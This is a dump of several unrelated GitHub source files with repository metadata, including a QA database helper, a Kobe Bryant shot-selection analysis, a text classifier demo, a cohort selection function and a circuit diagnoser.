requests\r\n\r\n\"\"\"\r\nscene_id=91679 and user_id=1016064\r\ncircle=1623375249\r\n\"\"\"\r\n\r\n\r\ndef set_signin_expire(scene_id, user_id):\r\n with get_conn(\"circle\") as cur:\r\n t = int(time.time()) + 5\r\n query_string = \"update dd_circle_scene_member set signout_time={} where scene_id={} and user_id={} and is_delete=0\".format(\r\n t, scene_id, user_id)\r\n cur.t_update(query_string)\r\n\r\n\r\ndef set_circle_to_default(circle_id):\r\n with get_conn(\"circle\") as cur:\r\n query_string = \"update dd_circle_special set is_delete=1 where circle_id={}\".format(circle_id)\r\n cur.t_update(query_string)\r\n\r\n\r\ndef set_circle_to_train(circle_id):\r\n set_circle_to_default(circle_id)\r\n t = int(time.time())\r\n with get_conn(\"circle\") as cur:\r\n query_string = \"insert into dd_circle_special(circle_id, special_type, city_id, is_delete, create_time, update_time) values ({},10,0,0,{},{})\".format(\r\n circle_id, t, t)\r\n cur.t_insert(query_string)\r\n\r\n\r\ndef set_circle_to_fly(circle_id):\r\n set_circle_to_default(circle_id)\r\n t = int(time.time())\r\n with get_conn(\"circle\") as cur:\r\n query_string = \"insert into dd_circle_special(circle_id, special_type, city_id, is_delete, create_time, update_time) values ({},2,0,0,{},{})\".format(\r\n circle_id, t, t)\r\n cur.t_insert(query_string)\r\n\r\n\r\ndef scene_sign(scene_id, user_id, latitude=39.909166, longitude=116.482022):\r\n url = \"http://dev.im-dangdang.com/circle/v1/scene/signin\"\r\n data = {\r\n \"latitude\": latitude,\r\n \"longitude\": longitude,\r\n \"sceneId\": scene_id,\r\n \"userId\": user_id\r\n }\r\n resp = requests.post(url, data=data)\r\n return resp.json()\r\n\r\n\r\nif __name__ == \"__main__\":\r\n # set_circle_to_fly(1623375249)\r\n # set_circle_to_train(1623375249)\r\n set_circle_to_default(1623375249)\r\n # set_signin_expire(91679, 1016064)\r\n # set_signin_expire(91679, 1016065)\r\n # for\r\n","repo_name":"gitly110/python_exc","sub_path":"aladdin_qa/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2073,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"18297410917","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Jun 4 14:54:20 2022\n\n@author: 048115\n\"\"\"\n\nhargaBuku = int(input(\"masukan harga buku\"))\njumlah = int(input(\"masukan jumlah yang dibeli\"))\nuang = int(input(\"masukan jumlah uang\"))\ntotal = hargaBuku + jumlah - uang\nprint (\"total belanja\",total)\n\nif uang > hargaBuku:\n print(\"beli buku\")\nelif uang == hargaBuku:\n print(\"maaf hanya bisa beli secukupnya\")\nelse:\n print(\"maaf anda kurang beruntung\")\n \n","repo_name":"uumh810/H8_UumH","sub_path":"LatihanTest_2.py","file_name":"LatihanTest_2.py","file_ext":"py","file_size_in_byte":451,"program_lang":"python","lang":"id","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"2466588825","text":"# Psychology of a Professional Athlete\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn import ensemble\nfrom sklearn import cross_validation\nfrom sklearn.metrics import accuracy_score as accuracy\nfrom sklearn.metrics import log_loss\nimport time\n\n#%% load training data\n\nallData = pd.read_csv('../input/data.csv')\ndata = allData[allData['shot_made_flag'].notnull()].reset_index()\n#%% add some temporal columns to the data\n\ndata['game_date_DT'] = pd.to_datetime(data['game_date'])\ndata['dayOfWeek'] = data['game_date_DT'].dt.dayofweek\ndata['dayOfYear'] = data['game_date_DT'].dt.dayofyear\n\ndata['secondsFromPeriodEnd'] = 60*data['minutes_remaining']+data['seconds_remaining']\ndata['secondsFromPeriodStart'] = 60*(11-data['minutes_remaining'])+(60-data['seconds_remaining'])\ndata['secondsFromGameStart'] = (data['period'] <= 4).astype(int)*(data['period']-1)*12*60 + (data['period'] > 4).astype(int)*((data['period']-4)*5*60 + 3*12*60) + data['secondsFromPeriodStart']\n\n# look at first couple of rows and verify that everything is good\ndata.ix[:20,['period','minutes_remaining','seconds_remaining','secondsFromGameStart']]\n# ### Kobe is entrusted to take the last shot of every period\n# it also looks like he's usually on the bench at the start of 2nd and 4th periods\n#%% plot the shot attempts as a function of time (from start of game) with several different binnings\nplt.rcParams['figure.figsize'] = (16, 10)\n\nbinsSizes = [24,12,6]\n\nplt.figure();\nfor k, binSizeInSeconds in enumerate(binsSizes):\n timeBins = np.arange(0,60*(4*12+3*5),binSizeInSeconds)+0.01\n attemptsAsFunctionOfTime, b = np.histogram(data['secondsFromGameStart'], bins=timeBins) \n \n maxHeight = max(attemptsAsFunctionOfTime) + 30\n barWidth = 0.999*(timeBins[1]-timeBins[0])\n plt.subplot(len(binsSizes),1,k+1); \n plt.bar(timeBins[:-1],attemptsAsFunctionOfTime, align='edge', width=barWidth); plt.title(str(binSizeInSeconds) + ' second time bins')\n plt.vlines(x=[0,12*60,2*12*60,3*12*60,4*12*60,4*12*60+5*60,4*12*60+2*5*60,4*12*60+3*5*60], ymin=0,ymax=maxHeight, colors='r')\n plt.xlim((-20,3200)); plt.ylim((0,maxHeight)); plt.ylabel('attempts')\nplt.xlabel('time [seconds from start of game]')\n\n# ### Note that the accuracy of these shots is consisently lower than usuall\n# this is probably due to the fact that a large amonut of these shots are from very far away \n#%% plot the accuracy as a function of time\nplt.rcParams['figure.figsize'] = (15, 10)\n\nbinSizeInSeconds = 20\ntimeBins = np.arange(0,60*(4*12+3*5),binSizeInSeconds)+0.01\nattemptsAsFunctionOfTime, b = np.histogram(data['secondsFromGameStart'], bins=timeBins) \nmadeAttemptsAsFunctionOfTime, b = np.histogram(data.ix[data['shot_made_flag']==1,'secondsFromGameStart'], bins=timeBins) \naccuracyAsFunctionOfTime = madeAttemptsAsFunctionOfTime.astype(float)/attemptsAsFunctionOfTime\naccuracyAsFunctionOfTime[attemptsAsFunctionOfTime <= 50] = 0 # zero accuracy in bins that don't have enough samples\n\nmaxHeight = max(attemptsAsFunctionOfTime) + 30\nbarWidth = 0.999*(timeBins[1]-timeBins[0])\n \nplt.figure();\nplt.subplot(2,1,1); plt.bar(timeBins[:-1],attemptsAsFunctionOfTime, align='edge', width=barWidth); \nplt.xlim((-20,3200)); plt.ylim((0,maxHeight)); plt.ylabel('attempts'); plt.title(str(binSizeInSeconds) + ' second time bins')\nplt.vlines(x=[0,12*60,2*12*60,3*12*60,4*12*60,4*12*60+5*60,4*12*60+2*5*60,4*12*60+3*5*60], ymin=0,ymax=maxHeight, colors='r')\nplt.subplot(2,1,2); plt.bar(timeBins[:-1],accuracyAsFunctionOfTime, align='edge', width=barWidth); \nplt.xlim((-20,3200)); plt.ylabel('accuracy'); plt.xlabel('time [seconds from start of game]')\nplt.vlines(x=[0,12*60,2*12*60,3*12*60,4*12*60,4*12*60+5*60,4*12*60+2*5*60,4*12*60+3*5*60], ymin=0.0,ymax=0.7, colors='r')\n\n# ### For later analysis, we'll want to assess shot difficulty based on shot properties\n# (such as shot type and shot distance)\n#%% create a new table for shot difficulty model\n\ndef FactorizeCategoricalVariable(inputDB,categoricalVarName):\n opponentCategories = inputDB[categoricalVarName].value_counts().index.tolist()\n \n outputDB = pd.DataFrame()\n for category in opponentCategories:\n featureName = categoricalVarName + ': ' + str(category)\n outputDB[featureName] = (inputDB[categoricalVarName] == category).astype(int)\n\n return outputDB\n\nfeaturesDB = pd.DataFrame()\nfeaturesDB['homeGame'] = data['matchup'].apply(lambda x: 1 if (x.find('@') < 0) else 0)\nfeaturesDB = pd.concat([featuresDB,FactorizeCategoricalVariable(data,'opponent')],axis=1)\nfeaturesDB = pd.concat([featuresDB,FactorizeCategoricalVariable(data,'action_type')],axis=1)\nfeaturesDB = pd.concat([featuresDB,FactorizeCategoricalVariable(data,'shot_type')],axis=1)\nfeaturesDB = pd.concat([featuresDB,FactorizeCategoricalVariable(data,'combined_shot_type')],axis=1)\nfeaturesDB = pd.concat([featuresDB,FactorizeCategoricalVariable(data,'shot_zone_basic')],axis=1)\nfeaturesDB = pd.concat([featuresDB,FactorizeCategoricalVariable(data,'shot_zone_area')],axis=1)\nfeaturesDB = pd.concat([featuresDB,FactorizeCategoricalVariable(data,'shot_zone_range')],axis=1)\n\nfeaturesDB['playoffGame'] = data['playoffs']\nfeaturesDB['locX'] = data['loc_x']\nfeaturesDB['locY'] = data['loc_y']\nfeaturesDB['distanceFromBasket'] = data['shot_distance']\nfeaturesDB['secondsFromPeriodEnd'] = data['secondsFromPeriodEnd']\n\nfeaturesDB['dayOfWeek_cycX'] = np.sin(2*np.pi*(data['dayOfWeek']/7))\nfeaturesDB['dayOfWeek_cycY'] = np.cos(2*np.pi*(data['dayOfWeek']/7))\nfeaturesDB['timeOfYear_cycX'] = np.sin(2*np.pi*(data['dayOfYear']/365))\nfeaturesDB['timeOfYear_cycY'] = np.cos(2*np.pi*(data['dayOfYear']/365))\n\nlabelsDB = data['shot_made_flag']\n\n# ## Build a model based on featuresDB table, and make sure it doesn't overfit \n# (i.e. the training error and the test error are the same)\n# #### Use an ExtraTreesClassifier for that\n#%% build a simple model and make sure it doesnt overfit\n\nrandomSeed = 1\nnumFolds = 4\n\nmainLearner = ensemble.ExtraTreesClassifier(n_estimators=500, max_depth=5, \n min_samples_leaf=100, max_features=100, \n criterion='entropy', bootstrap=False, \n n_jobs=2, random_state=randomSeed)\n \ncrossValidationIterator = cross_validation.StratifiedKFold(labelsDB, n_folds=numFolds, \n shuffle=True, random_state=randomSeed)\n\nstartTime = time.time()\ntrainAccuracy = []; validAccuracy = [];\ntrainLogLosses = []; validLogLosses = []\nfor trainInds, validInds in crossValidationIterator:\n # split to train and valid sets\n X_train_CV = featuresDB.ix[trainInds,:]\n y_train_CV = labelsDB.iloc[trainInds]\n X_valid_CV = featuresDB.ix[validInds,:]\n y_valid_CV = labelsDB.iloc[validInds]\n \n # train learner\n mainLearner.fit(X_train_CV, y_train_CV)\n \n # make predictions\n y_train_hat_mainLearner = mainLearner.predict_proba(X_train_CV)[:,1]\n y_valid_hat_mainLearner = mainLearner.predict_proba(X_valid_CV)[:,1]\n\n # store results\n trainAccuracy.append(accuracy(y_train_CV, y_train_hat_mainLearner > 0.5))\n validAccuracy.append(accuracy(y_valid_CV, y_valid_hat_mainLearner > 0.5))\n trainLogLosses.append(log_loss(y_train_CV, y_train_hat_mainLearner))\n validLogLosses.append(log_loss(y_valid_CV, y_valid_hat_mainLearner))\n\nprint(\"-----------------------------------------------------\")\nprint(\"total (train,valid) Accuracy = (%.5f,%.5f). took %.2f minutes\" % (np.mean(trainAccuracy),np.mean(validAccuracy), (time.time()-startTime)/60))\nprint(\"total (train,valid) Log Loss = (%.5f,%.5f). took %.2f minutes\" % (np.mean(trainLogLosses),np.mean(validLogLosses), (time.time()-startTime)/60))\nprint(\"-----------------------------------------------------\")\n\n# ### Use the model to add a \"shotDifficulty\" field to every original shot entry\n# (which is actually the predicted probability of making the shot. meaning, the name is a bit confusing right now)\n# ### Also, to get a feel for the important features, let's look at the feature importances according to ET Classifier\nmainLearner.fit(featuresDB, labelsDB)\ndata['shotDifficulty'] = mainLearner.predict_proba(featuresDB)[:,1]\n\n# just to get a feel for what determins shot difficulty, look at feature importances\nfeatureInds = mainLearner.feature_importances_.argsort()[::-1]\nfeatureImportance = pd.DataFrame(np.concatenate((featuresDB.columns[featureInds,None], mainLearner.feature_importances_[featureInds,None]), axis=1),\n columns=['featureName', 'importanceET'])\n\nfeatureImportance.ix[:30,:]\n# ## We would like to asses some aspects of the decision making process of Kobe Bryant\n# ### For that we will collect two distinct groups of shots and analyse the differences between them:\n# \n# (1) the shots that came right after a sucessful shot attempt\n# \n# (2) the shots that came right after a miss\n#%% collect data given that kobe made or missed last shot\n\ntimeBetweenShotsDict = {}\ntimeBetweenShotsDict['madeLast'] = []\ntimeBetweenShotsDict['missedLast'] = []\n\nchangeInDistFromBasketDict = {}\nchangeInDistFromBasketDict['madeLast'] = []\nchangeInDistFromBasketDict['missedLast'] = []\n\nchangeInShotDifficultyDict = {}\nchangeInShotDifficultyDict['madeLast'] = []\nchangeInShotDifficultyDict['missedLast'] = []\n\ntotalMadeAfterMade = 0\ntotalAttemptsAfterMade = 0\nshotChancesListAfterMade = []\n\ntotalMadeAfterMissed = 0\ntotalAttemptsAfterMissed = 0\nshotChancesListAfterMissed = []\n\nfor shot in range(1,data.shape[0]):\n\n # make sure the current shot and last shot were all in the same period of the same game\n sameGame = data.ix[shot,'game_date'] == data.ix[shot-1,'game_date']\n samePeriod = data.ix[shot,'period'] == data.ix[shot-1,'period']\n\n if samePeriod and sameGame:\n madeLastShot = data.ix[shot-1,'shot_made_flag'] == 1\n missedLastShot = data.ix[shot-1,'shot_made_flag'] == 0\n \n timeDifferenceFromLastShot = data.ix[shot,'secondsFromGameStart'] - data.ix[shot-1,'secondsFromGameStart']\n distDifferenceFromLastShot = data.ix[shot,'shot_distance'] - data.ix[shot-1,'shot_distance']\n shotDifficultyDifferenceFromLastShot = data.ix[shot,'shotDifficulty'] - data.ix[shot-1,'shotDifficulty']\n\n # check for currupt data points (assuming all samples should have been chronologically ordered)\n if timeDifferenceFromLastShot < 0:\n continue\n \n if madeLastShot:\n timeBetweenShotsDict['madeLast'].append(timeDifferenceFromLastShot)\n changeInDistFromBasketDict['madeLast'].append(distDifferenceFromLastShot)\n changeInShotDifficultyDict['madeLast'].append(shotDifficultyDifferenceFromLastShot)\n \n # store also statistics about weather the shots actually went in\n shotChancesListAfterMade.append(data.ix[shot,'shotDifficulty'])\n if data.ix[shot,'shot_made_flag'] == 1:\n totalMadeAfterMade += 1\n totalAttemptsAfterMade += 1\n \n if missedLastShot:\n timeBetweenShotsDict['missedLast'].append(timeDifferenceFromLastShot)\n changeInDistFromBasketDict['missedLast'].append(distDifferenceFromLastShot)\n changeInShotDifficultyDict['missedLast'].append(shotDifficultyDifferenceFromLastShot)\n \n # store also statistics about weather the shots actually went in\n shotChancesListAfterMissed.append(data.ix[shot,'shotDifficulty'])\n if data.ix[shot,'shot_made_flag'] == 1:\n totalMadeAfterMissed += 1\n totalAttemptsAfterMissed += 1\n\n# ### Plot histogram of \"Time Since Last Shot Attempt\" for the two groups\n# It looks like after making a shot, kobe is a little bit more eager to throw the next shot\n#%% after making a shot, kobe wants more\nplt.rcParams['figure.figsize'] = (12, 8)\n\njointHist, timeBins = np.histogram(timeBetweenShotsDict['madeLast']+timeBetweenShotsDict['missedLast'],bins=200)\nbarWidth = 0.999*(timeBins[1]-timeBins[0])\n\ntimeDiffHist_GivenMadeLastShot, b = np.histogram(timeBetweenShotsDict['madeLast'],bins=timeBins)\ntimeDiffHist_GivenMissedLastShot, b = np.histogram(timeBetweenShotsDict['missedLast'],bins=timeBins)\nmaxHeight = max(max(timeDiffHist_GivenMadeLastShot),max(timeDiffHist_GivenMissedLastShot)) + 30\n\nplt.figure();\nplt.subplot(2,1,1); plt.bar(timeBins[:-1], timeDiffHist_GivenMadeLastShot, width=barWidth); plt.xlim((0,500)); plt.ylim((0,maxHeight))\nplt.title('made last shot'); plt.ylabel('counts')\nplt.subplot(2,1,2); plt.bar(timeBins[:-1], timeDiffHist_GivenMissedLastShot, width=barWidth); plt.xlim((0,500)); plt.ylim((0,maxHeight))\nplt.title('missed last shot'); plt.xlabel('time since last shot'); plt.ylabel('counts')\n\n# To better visualize this difference, let's look at cumulative histograms\n#%% to make the difference clearer, show the cumulative histogram\nplt.rcParams['figure.figsize'] = (12, 8)\n\ntimeDiffCumHist_GivenMadeLastShot = np.cumsum(timeDiffHist_GivenMadeLastShot).astype(float)\ntimeDiffCumHist_GivenMadeLastShot = timeDiffCumHist_GivenMadeLastShot/max(timeDiffCumHist_GivenMadeLastShot)\ntimeDiffCumHist_GivenMissedLastShot = np.cumsum(timeDiffHist_GivenMissedLastShot).astype(float)\ntimeDiffCumHist_GivenMissedLastShot = timeDiffCumHist_GivenMissedLastShot/max(timeDiffCumHist_GivenMissedLastShot)\n\nmaxHeight = max(timeDiffCumHist_GivenMadeLastShot[-1],timeDiffCumHist_GivenMissedLastShot[-1])\n\nplt.figure();\nmadePrev = plt.plot(timeBins[:-1], timeDiffCumHist_GivenMadeLastShot, label='made Prev'); plt.xlim((0,500))\nmissedPrev = plt.plot(timeBins[:-1], timeDiffCumHist_GivenMissedLastShot, label='missed Prev'); plt.xlim((0,500)); plt.ylim((0,1))\nplt.title('cumulative density function - CDF'); plt.xlabel('time since last shot'); plt.legend(loc='lower right')\n\n# ### Plot histogram of \"Current Shot Distance - Previous Shot Distance\" for the two groups\n# Note that if Kobe throws from close by, and then from far away, this will result in positive values of \"curr shot distance - prev shot distance\"\n# and vise versa. If Kobe throws from far away and then from close by, this will result in negative values.\n#%% after making a shot, kobe is a more confident and throws from further away\nplt.rcParams['figure.figsize'] = (12, 8)\n\njointHist, distDiffBins = np.histogram(changeInDistFromBasketDict['madeLast']+changeInDistFromBasketDict['missedLast'],bins=100,density=False)\nbarWidth = 0.999*(distDiffBins[1]-distDiffBins[0])\n\ndistDiffHist_GivenMadeLastShot, b = np.histogram(changeInDistFromBasketDict['madeLast'],bins=distDiffBins)\ndistDiffHist_GivenMissedLastShot, b = np.histogram(changeInDistFromBasketDict['missedLast'],bins=distDiffBins)\nmaxHeight = max(max(distDiffHist_GivenMadeLastShot),max(distDiffHist_GivenMissedLastShot)) + 30\n\nplt.figure();\nplt.subplot(2,1,1); plt.bar(distDiffBins[:-1], distDiffHist_GivenMadeLastShot, width=barWidth); plt.xlim((-40,40)); plt.ylim((0,maxHeight))\nplt.title('made last shot'); plt.ylabel('counts')\nplt.subplot(2,1,2); plt.bar(distDiffBins[:-1], distDiffHist_GivenMissedLastShot, width=barWidth); plt.xlim((-40,40)); plt.ylim((0,maxHeight))\nplt.title('missed last shot'); plt.xlabel('curr shot distance - prev shot distance'); plt.ylabel('counts')\n\n\n# We can clearly see that the made group of shots is more leaning to the right\n# ### It therefore looks like Kobe is more confident after making a shot, and because of it, he takes a larger risk and throws from further away\n# This is even more evident than the previous plot, but let's plot the cumulative histograms again to make it clearer\n#%% to make the difference clearer, show the cumulative histogram\nplt.rcParams['figure.figsize'] = (12, 8)\n\ndistDiffCumHist_GivenMadeLastShot = np.cumsum(distDiffHist_GivenMadeLastShot).astype(float)\ndistDiffCumHist_GivenMadeLastShot = distDiffCumHist_GivenMadeLastShot/max(distDiffCumHist_GivenMadeLastShot)\ndistDiffCumHist_GivenMissedLastShot = np.cumsum(distDiffHist_GivenMissedLastShot).astype(float)\ndistDiffCumHist_GivenMissedLastShot = distDiffCumHist_GivenMissedLastShot/max(distDiffCumHist_GivenMissedLastShot)\n\nmaxHeight = max(distDiffCumHist_GivenMadeLastShot[-1],distDiffCumHist_GivenMissedLastShot[-1])\n\nplt.figure();\nmadePrev = plt.plot(distDiffBins[:-1], distDiffCumHist_GivenMadeLastShot, label='made Prev'); plt.xlim((-40,40))\nmissedPrev = plt.plot(distDiffBins[:-1], distDiffCumHist_GivenMissedLastShot, label='missed Prev'); plt.xlim((-40,40)); plt.ylim((0,1))\nplt.title('cumulative density function - CDF'); plt.xlabel('curr shot distance - prev shot distance'); plt.legend(loc='lower right')\n# ## Lastly, Let's plot the \"Shot Difficulty\" change for the two groups\n# here negative values indicate that kobe took a larger risk, and positive values indicate that kobe made a safer subsequent shot\n#%% after making a shot, kobe is a more confident and makes much more difficult shots generally\nplt.rcParams['figure.figsize'] = (12, 8)\n\njointHist, difficultyDiffBins = np.histogram(changeInShotDifficultyDict['madeLast']+changeInShotDifficultyDict['missedLast'],bins=100)\nbarWidth = 0.999*(difficultyDiffBins[1]-difficultyDiffBins[0])\n\nshotDifficultyDiffHist_GivenMadeLastShot, b = np.histogram(changeInShotDifficultyDict['madeLast'],bins=difficultyDiffBins)\nshotDifficultyDiffHist_GivenMissedLastShot, b = np.histogram(changeInShotDifficultyDict['missedLast'],bins=difficultyDiffBins)\nmaxHeight = max(max(shotDifficultyDiffHist_GivenMadeLastShot),max(shotDifficultyDiffHist_GivenMissedLastShot)) + 30\n\nplt.figure();\nplt.subplot(2,1,1); plt.bar(difficultyDiffBins[:-1], shotDifficultyDiffHist_GivenMadeLastShot, width=barWidth); plt.xlim((-1,1)); plt.ylim((0,maxHeight))\nplt.title('made last shot'); plt.ylabel('counts')\nplt.subplot(2,1,2); plt.bar(difficultyDiffBins[:-1], shotDifficultyDiffHist_GivenMissedLastShot, width=barWidth); plt.xlim((-1,1)); plt.ylim((0,maxHeight))\nplt.title('missed last shot'); plt.xlabel('chance to make curr shot - chance to make prev shot'); plt.ylabel('counts')\n\n# ### We can see that the plot is heavier on the left side\n# ### It is therefore even more evident now that kobe feels he's \"In The Zone\" after making a shot \n# and therefore he allows himself to attempt more difficult shots\n# # But, is he right? \n# Maybe Kobe really is \"in the zone\" and therefore it's \"OK\" for him to take on more difficult shots?\n#%% but wait, maybe kobe is making more difficult shots because he's \"in the zone\"\n\npredictedShotPercentAfterMade = np.array(shotChancesListAfterMade).mean()\npredictedStadardDev = np.sqrt(predictedShotPercentAfterMade*(1-predictedShotPercentAfterMade))\nstadardError = predictedStadardDev/np.sqrt(len(shotChancesListAfterMade))\npredPlusErr = predictedShotPercentAfterMade + 2*stadardError\npredMinusErr = predictedShotPercentAfterMade - 2*stadardError\nactualShotPercentAfterMade = float(totalMadeAfterMade)/totalAttemptsAfterMade\n\nprint(\"-----------------------------------------------------\")\nprint('provided that kobe made the previous shot:')\nprint('flat prediction 95% confidence interval is ['+ str(predMinusErr)+', '+str(predPlusErr)+']')\nprint('and kobe actually made ' + str(actualShotPercentAfterMade) + ', which is within confidence interval')\nprint(\"-----------------------------------------------------\")\n\npredictedShotPercentAfterMissed = np.array(shotChancesListAfterMissed).mean()\npredictedStadardDev = np.sqrt(predictedShotPercentAfterMissed*(1-predictedShotPercentAfterMissed))\nstadardError = predictedStadardDev/np.sqrt(len(shotChancesListAfterMissed))\npredPlusErr = predictedShotPercentAfterMissed + 2*stadardError\npredMinusErr = predictedShotPercentAfterMissed - 2*stadardError\nactualShotPercentAfterMissed = float(totalMadeAfterMissed)/totalAttemptsAfterMissed\n\nprint(\"-----------------------------------------------------\")\nprint('provided that kobe missed the previous shot')\nprint('flat prediction 95% confidence interval is ['+ str(predMinusErr)+', '+str(predPlusErr)+']')\nprint('and kobe actually made ' + str(actualShotPercentAfterMissed) + ', which is within confidence interval')\nprint(\"-----------------------------------------------------\")\n\n# ### Well, maybe he is right, but it's Not Supported by the Data...","repo_name":"sajedjalil/Data-Science-Pipeline-Detector","sub_path":"dataset/kobe-bryant-shot-selection/saillaser/psychology-of-a-professional-athlete.py","file_name":"psychology-of-a-professional-athlete.py","file_ext":"py","file_size_in_byte":20285,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"54"} +{"seq_id":"36227016937","text":"\"\"\"\nCreated on Mon Dec 7 20:36:00 2015\n\n@author: hehe\n\"\"\"\nimport os\nimport numpy as np\nfrom sklearn import linear_model\n\nfrom TextClassify import BagOfWords\nfrom TextClassify import TextClassify\n\ndata_dir = 'data'\n## BAG OF WORDS MODEL\nBOW = BagOfWords(os.path.join(data_dir, 'train'))\n\n# 创建词典并且保存,如果保存过词典,以后直接load就行\nBOW.build_dictionary()\nBOW.save_dictionary(os.path.join(data_dir, 'dicitionary.pkl'))\n\n# BOW.load_dictionary('dicitionary.pkl')\n\n## LOAD DATA\ntrain_feature, train_target = BOW.transform_data(os.path.join(data_dir, 'train'))\ntest_feature, test_target = BOW.transform_data(os.path.join(data_dir, 'test'))\n\n## TRAIN LR MODEL\nlogreg = linear_model.LogisticRegression(C=1e5)\nlogreg.fit(train_feature, train_target)\n\n## PREDICT\ntest_predict = logreg.predict(test_feature)\n\n## ACCURACY\n\ntrue_false = (test_predict == test_target)\naccuracy = np.count_nonzero(true_false) / float(len(test_target))\nprint(\"accuracy is %f\" % accuracy)\n\n## TextClassify\nTextClassifier = TextClassify()\npred = TextClassifier.text_classify('test.txt', BOW, logreg)\nprint(pred[0])\n","repo_name":"sinb/TextClassify","sub_path":"demo_bow.py","file_name":"demo_bow.py","file_ext":"py","file_size_in_byte":1113,"program_lang":"python","lang":"en","doc_type":"code","stars":42,"dataset":"github-code","pt":"54"} +{"seq_id":"7183433820","text":"import numpy as np\r\nimport pandas as pd\r\nimport sys\r\nimport Libraries\r\n\r\n\r\n\r\ndef CohortSelection(DischargeDiagnosis, ICDCodeBook, Demographics, ICURecord):\r\n '''\r\n The function takes four dataframes as input, \r\n 1. Discharge diagnosis of in-patients, \r\n 2. ICD Code Book mapping pseudo ICD codes and Disease Group\r\n 3. Demographics, including hospital in out records.\r\n 4. Patient in/out ICU records.\r\n The function returns a dataframe of patients with groups and hospital inout records.\r\n '''\r\n print(\"Start selecting cohort with diagnosis of SpecificDisease, sepratting the cohort into patients transfered to ICU or not.\")\r\n DischargeDiagnosis_stacked = Libraries.CombineFinalDiagnosis(DischargeDiagnosis)\r\n\r\n DischargeDiagnosisMap = pd.merge(DischargeDiagnosis_stacked, ICDCodeBook, how = 'inner', left_on = 'DiagnosisCode', right_on = 'PseudoICD')\r\n\r\n Cohort_list = DischargeDiagnosisMap.loc[DischargeDiagnosisMap['DiseaseGroup']=='SpecificDisease']['AdmissionID'].unique().tolist()\r\n\r\n CohortDemographics = Demographics.loc[Demographics_raw['AdmissionID'].isin(Cohort_list)]\r\n \r\n CohortDemographics['AdmissionDateTime']= pd.to_datetime(CohortDemographics['AdmissionDateTime'])\r\n CohortDemographics['Birthdate']= pd.to_datetime(CohortDemographics['Birthdate'])\r\n CohortDemographics['Age'] = ((CohortDemographics['AdmissionDateTime'] - CohortDemographics['Birthdate'])) / np.timedelta64(1, 'Y')\r\n\r\n\r\n\r\n #Check FirstDay ICU Here\r\n CohortDemographicsICU = pd.merge(CohortDemographics, ICURecord, on = 'AdmissionID', how = 'left')\r\n CohortDemographicsICU['InICUDatetime']= pd.to_datetime(CohortDemographicsICU['InICUDatetime'])\r\n \r\n CohortDemographicsICU['AdmissionToICUDays'] = ((CohortDemographicsICU['InICUDatetime'] - CohortDemographicsICU['AdmissionDateTime'])) / np.timedelta64(1, 'D')\r\n \r\n FirstDayICUAdmission = CohortDemographicsICU.loc[CohortDemographicsICU['AdmissionToICUDays']<=1]\r\n FirstDayICUAdmissionID_list = FirstDayICUAdmission['AdmissionID'].unique().tolist()\r\n\r\n def GroupFirstDayICU(AdminID):\r\n if AdminID in FirstDayICUAdmissionID_list:\r\n return \"Y\"\r\n else:\r\n return \"N\"\r\n\r\n CohortDemographics['FirstDayICU'] = CohortDemographics['AdmissionID'].apply(GroupFirstDayICU) \r\n\r\n CohortDemographics = CohortDemographics[['AdmissionID','FirstDayICU', 'Sex_int','Age','AdmissionDateTime','DischargeDateTime','InHospitalDays', 'Birthdate']]\r\n \r\n CohortFirstDayICU = CohortDemographics.loc[CohortDemographics['FirstDayICU']==\"Y\"]\r\n print('The Description of Patients with SpecificDisease Entering ICU the first day is:')\r\n print(CohortFirstDayICU.describe())\r\n\r\n CohortFirstDayNotICU = CohortDemographics.loc[CohortDemographics['FirstDayICU']==\"N\"]\r\n print('The Description of Patients with SpecificDisease NOT Entering ICU the first day is:')\r\n print(CohortFirstDayNotICU.describe())\r\n return CohortDemographics\r\n","repo_name":"halfmoonliu/PredictDiseaseICUAdmission","sub_path":"CohortSelection.py","file_name":"CohortSelection.py","file_ext":"py","file_size_in_byte":2975,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"2705692160","text":"n=int(input(\"enter no.of nodes\")) \r\nmatrix=[list(map(int,input().split()))[:n] for i in range(n)] \r\nedge_count=0\r\nflag=[0]*n \r\nflag[0]=1\r\nwhile(edge_countmatrix[i][j]): \r\n min=matrix[i][j] \r\n u=i \r\n v=j \r\n \r\n print(\"{} - {} {}\".format(u,v,matrix[u][v]))\r\n flag[v]=1\r\n edge_count+=1","repo_name":"sem3examss/b","sub_path":"prims.py","file_name":"prims.py","file_ext":"py","file_size_in_byte":593,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"19989095434","text":"from circuits.utils.diagnoser_utils import *\nfrom circuits.structures.trie import *\nfrom circuits.utils import prob_utils\nimport operator\n\ndef find_best_diagnose(inputs, components, outputs_names, probs, faulty_comp_prob):\n prob_sum = 1\n max_prob_diagnose = (None, 0)\n for outputs in prob_utils.observations_iterator(probs):\n diagnoses = diagnose(inputs, outputs, components)\n diagnoses_with_prob, obs_prob = calc_observation_diagnoses_probs(outputs, diagnoses, probs, outputs_names, faulty_comp_prob)\n prob_sum -= obs_prob\n max_prob_diagnose = max(diagnoses_with_prob + [max_prob_diagnose], key=operator.itemgetter(1))\n if max_prob_diagnose[1] >= prob_sum:\n return max_prob_diagnose\n return None\n\ndef diagnose(inputs, outputs, components):\n # print(f'\\ndiagnosing outputs {outputs}')\n diagnoses = []\n diagnoses_trie = make_trie()\n\n queue = deque([([], -1)])\n length = len(components)\n while queue:\n suspected_diagnose, max_in_subset = queue.popleft()\n if check_trie_for_subsets(diagnoses_trie, suspected_diagnose):\n continue\n # print(f'checking diagnose {[comp.name for comp in suspected_diagnose]}')\n\n for comp in suspected_diagnose:\n comp.healthy = False\n values = inputs.copy()\n propogate_values(values, components)\n for comp in suspected_diagnose:\n comp.healthy = True\n\n # check consistency\n consistent = all(outputs[name] == values[name] for name in outputs.keys())\n if consistent:\n diagnoses.append(suspected_diagnose)\n add_to_trie(diagnoses_trie, suspected_diagnose)\n elif max_in_subset < length - 1:\n for index, comp in enumerate(components[max_in_subset + 1:]):\n queue.append((suspected_diagnose + [comp], index + max_in_subset + 1))\n return 